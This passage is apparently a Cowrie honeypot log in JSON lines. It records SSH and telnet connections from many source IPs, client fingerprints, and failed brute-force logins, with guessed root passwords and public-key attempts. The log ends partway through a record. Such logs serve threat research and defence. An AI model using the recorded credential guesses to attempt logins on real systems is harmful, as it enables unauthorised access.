{"eventid":"cowrie.session.connect","src_ip":"37.10.113.217","src_port":23143,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b745d518d0b","protocol":"telnet","message":"New connection: 37.10.113.217:23143 (159.203.135.109:23) [session: 8b745d518d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:42:00.934956Z"}
{"eventid":"cowrie.session.closed","duration":0.20881175994873047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:42:01.143826Z","src_ip":"37.10.113.217","session":"8b745d518d0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac7a82298b8d","protocol":"ssh","message":"New connection: 80.94.92.184:45678 (10.17.0.5:22) [session: ac7a82298b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:43:09.604434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:43:09.703717Z","src_ip":"80.94.92.184","session":"ac7a82298b8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:43:09.809188Z","src_ip":"80.94.92.184","session":"ac7a82298b8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:43:10.409959Z","src_ip":"80.94.92.184","session":"ac7a82298b8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:43:11.748918Z","src_ip":"80.94.92.184","session":"ac7a82298b8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":56168,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5dd98cf2a40","protocol":"ssh","message":"New connection: 43.128.102.61:56168 (10.17.0.5:22) [session: c5dd98cf2a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:10.781259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:10.785557Z","src_ip":"43.128.102.61","session":"c5dd98cf2a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:11.032572Z","src_ip":"43.128.102.61","session":"c5dd98cf2a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:12.047133Z","src_ip":"43.128.102.61","session":"c5dd98cf2a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:13.296508Z","src_ip":"43.128.102.61","session":"c5dd98cf2a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":60016,"dst_ip":"10.17.0.5","dst_port":22,"session":"89858c07102c","protocol":"ssh","message":"New connection: 45.66.52.41:60016 (10.17.0.5:22) [session: 89858c07102c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:27.586782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:27.594605Z","src_ip":"45.66.52.41","session":"89858c07102c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:27.905134Z","src_ip":"45.66.52.41","session":"89858c07102c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.176.29.10","src_port":53083,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d6201221cd","protocol":"telnet","message":"New connection: 193.176.29.10:53083 (10.17.0.5:23) [session: e7d6201221cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:27.924559Z"}
{"eventid":"cowrie.session.closed","duration":0.14688825607299805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:28.071343Z","src_ip":"193.176.29.10","session":"e7d6201221cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@1234","message":"login attempt [root/Hello@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:28.710791Z","src_ip":"45.66.52.41","session":"89858c07102c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:29.884922Z","src_ip":"45.66.52.41","session":"89858c07102c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.13.25.186","src_port":53024,"dst_ip":"10.17.0.5","dst_port":22,"session":"f78a65476d72","protocol":"ssh","message":"New connection: 122.13.25.186:53024 (10.17.0.5:22) [session: f78a65476d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:41.413550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:41.419647Z","src_ip":"122.13.25.186","session":"f78a65476d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:41.667882Z","src_ip":"122.13.25.186","session":"f78a65476d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:42.688272Z","src_ip":"122.13.25.186","session":"f78a65476d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:43.940118Z","src_ip":"122.13.25.186","session":"f78a65476d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":34912,"dst_ip":"10.17.0.5","dst_port":22,"session":"232406056366","protocol":"ssh","message":"New connection: 62.173.38.229:34912 (10.17.0.5:22) [session: 232406056366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:45.162240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:45.167154Z","src_ip":"62.173.38.229","session":"232406056366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:45.333029Z","src_ip":"62.173.38.229","session":"232406056366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"131421","message":"login attempt [root/131421] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.213743Z","src_ip":"62.173.38.229","session":"232406056366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.114","src_port":38292,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0b66176b77e","protocol":"ssh","message":"New connection: 191.101.33.114:38292 (10.17.0.5:22) [session: e0b66176b77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.518553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.523347Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.550742Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:a3:70:8e:b5:14:88:b4:0e:d7:49:75:b8:43:7c:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcV3k/Bv74Gb5H7P0fxyLtkQGGmy8kZVWD3B28jlQqT4HuAfMoFiRGFP+BkRUSf8gKFP+HOHzsQ+izvgfQ9u6SviAcdb7bEnKx1DpdxCFSeBOXgL6lMP4esKnYbG9wVAZtsSJehApU5CnqBglhD6i+Zbn/NV4XWCCAZ2LEshs4fgrgvnaai10zE76qiRTCC0ZwnIBNZ8FCEOtoM7uKxdLXhNH5YxueYisUEAspASjpA9ox08PCa3L2eQPqTUB44dyOOxr9nlXE3Phu8zYCOuZ5QqO4dPA3bDil3sTyi2O3Vqy4PboHTSyVrO5ajSBgPyIgNsBGs9J9Ty7q7niun7I4S4CNiRgaoWo50zXYfoTWwrtcybsFsT58M/epL3mjsCIitlHyFrjcIchdWh1iWFI+6JpRWA2VrN6Km1CGmrIcQ5m3huf1FALVYHvAqOE9DI5m1tKcSTWM2oiDrBFcfJuiENWMXo9Em5eCHSoXaXZoOPTpz+nHUPOuD11ddZcT4OE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:a3:70:8e:b5:14:88:b4:0e:d7:49:75:b8:43:7c:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.665513Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:a3:70:8e:b5:14:88:b4:0e:d7:49:75:b8:43:7c:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcV3k/Bv74Gb5H7P0fxyLtkQGGmy8kZVWD3B28jlQqT4HuAfMoFiRGFP+BkRUSf8gKFP+HOHzsQ+izvgfQ9u6SviAcdb7bEnKx1DpdxCFSeBOXgL6lMP4esKnYbG9wVAZtsSJehApU5CnqBglhD6i+Zbn/NV4XWCCAZ2LEshs4fgrgvnaai10zE76qiRTCC0ZwnIBNZ8FCEOtoM7uKxdLXhNH5YxueYisUEAspASjpA9ox08PCa3L2eQPqTUB44dyOOxr9nlXE3Phu8zYCOuZ5QqO4dPA3bDil3sTyi2O3Vqy4PboHTSyVrO5ajSBgPyIgNsBGs9J9Ty7q7niun7I4S4CNiRgaoWo50zXYfoTWwrtcybsFsT58M/epL3mjsCIitlHyFrjcIchdWh1iWFI+6JpRWA2VrN6Km1CGmrIcQ5m3huf1FALVYHvAqOE9DI5m1tKcSTWM2oiDrBFcfJuiENWMXo9Em5eCHSoXaXZoOPTpz+nHUPOuD11ddZcT4OE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.672247Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:d7:b3:e5:bd:99:83:1b:74:f2:06:c9:72:2d:98:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUA9GVcIJUkT/88hhJMt4noSVoZL/Phpw5wkC/p/AdY+ubPf6dyJLqnvCVsDjyZHuptK7hct+iUTw7gRulqdmLoEJB/kaXcikNcRo8eK8tEasYa4K0yjuT0+f+eKolbewnzrusleeYyHUtwPLkYC0pP8Nk1IzhacCrQJiy2UJxuZkCOaU+/h36yeJzc8nrRe4NJ3rqACb5F/1kdppylCbQHb1DLk8lMOCb2Wk/ovD+Cf9ZtOSthapXpraxaM6uVKVadfA9xAfoCbmxciBwqTrZt934scruymMOf96jqwdtRsZyAwk9QLcwFZjEmuo61XMRgK3Gtr463brjiKcRJO6SCIeCdbxdZ88yZbFm8gG76+V9sS/Tl/E6i+/gDdf5PWdcR+86A/zuU0lUq7lnu4D/wsd+9qdGpsOW/ARXAXPFxJ7WSmMyo6h5lOAN2OHup9kJEgowo5DFdb8bT94npkLlE88kYrAenCLPNV5ThWGJBZt06gbItmtkti+Bt2Bo6xyahCNHl6cfVYYds+KwMIvgSaUu7/qLy9BnbGq0Fs1ez/9yaOErqPx1XVtAICtjug3iQjFecjhYsm7s2TbedHvmwz2bPmO1QNfv1hDDDCf6c4LO9IUt9N79vndJZMrABMZHphF4prnyOylpmT0jHs4TQJyH62PQiUK2Hyiq2qSgWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:d7:b3:e5:bd:99:83:1b:74:f2:06:c9:72:2d:98:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.701459Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:d7:b3:e5:bd:99:83:1b:74:f2:06:c9:72:2d:98:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUA9GVcIJUkT/88hhJMt4noSVoZL/Phpw5wkC/p/AdY+ubPf6dyJLqnvCVsDjyZHuptK7hct+iUTw7gRulqdmLoEJB/kaXcikNcRo8eK8tEasYa4K0yjuT0+f+eKolbewnzrusleeYyHUtwPLkYC0pP8Nk1IzhacCrQJiy2UJxuZkCOaU+/h36yeJzc8nrRe4NJ3rqACb5F/1kdppylCbQHb1DLk8lMOCb2Wk/ovD+Cf9ZtOSthapXpraxaM6uVKVadfA9xAfoCbmxciBwqTrZt934scruymMOf96jqwdtRsZyAwk9QLcwFZjEmuo61XMRgK3Gtr463brjiKcRJO6SCIeCdbxdZ88yZbFm8gG76+V9sS/Tl/E6i+/gDdf5PWdcR+86A/zuU0lUq7lnu4D/wsd+9qdGpsOW/ARXAXPFxJ7WSmMyo6h5lOAN2OHup9kJEgowo5DFdb8bT94npkLlE88kYrAenCLPNV5ThWGJBZt06gbItmtkti+Bt2Bo6xyahCNHl6cfVYYds+KwMIvgSaUu7/qLy9BnbGq0Fs1ez/9yaOErqPx1XVtAICtjug3iQjFecjhYsm7s2TbedHvmwz2bPmO1QNfv1hDDDCf6c4LO9IUt9N79vndJZMrABMZHphF4prnyOylpmT0jHs4TQJyH62PQiUK2Hyiq2qSgWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:44:46.705603Z","src_ip":"191.101.33.114","session":"e0b66176b77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:1f:dc:d7:b1:90:e4:12:df:64:7f:45:84:e5:5e:1c","key":"ssh-rsa 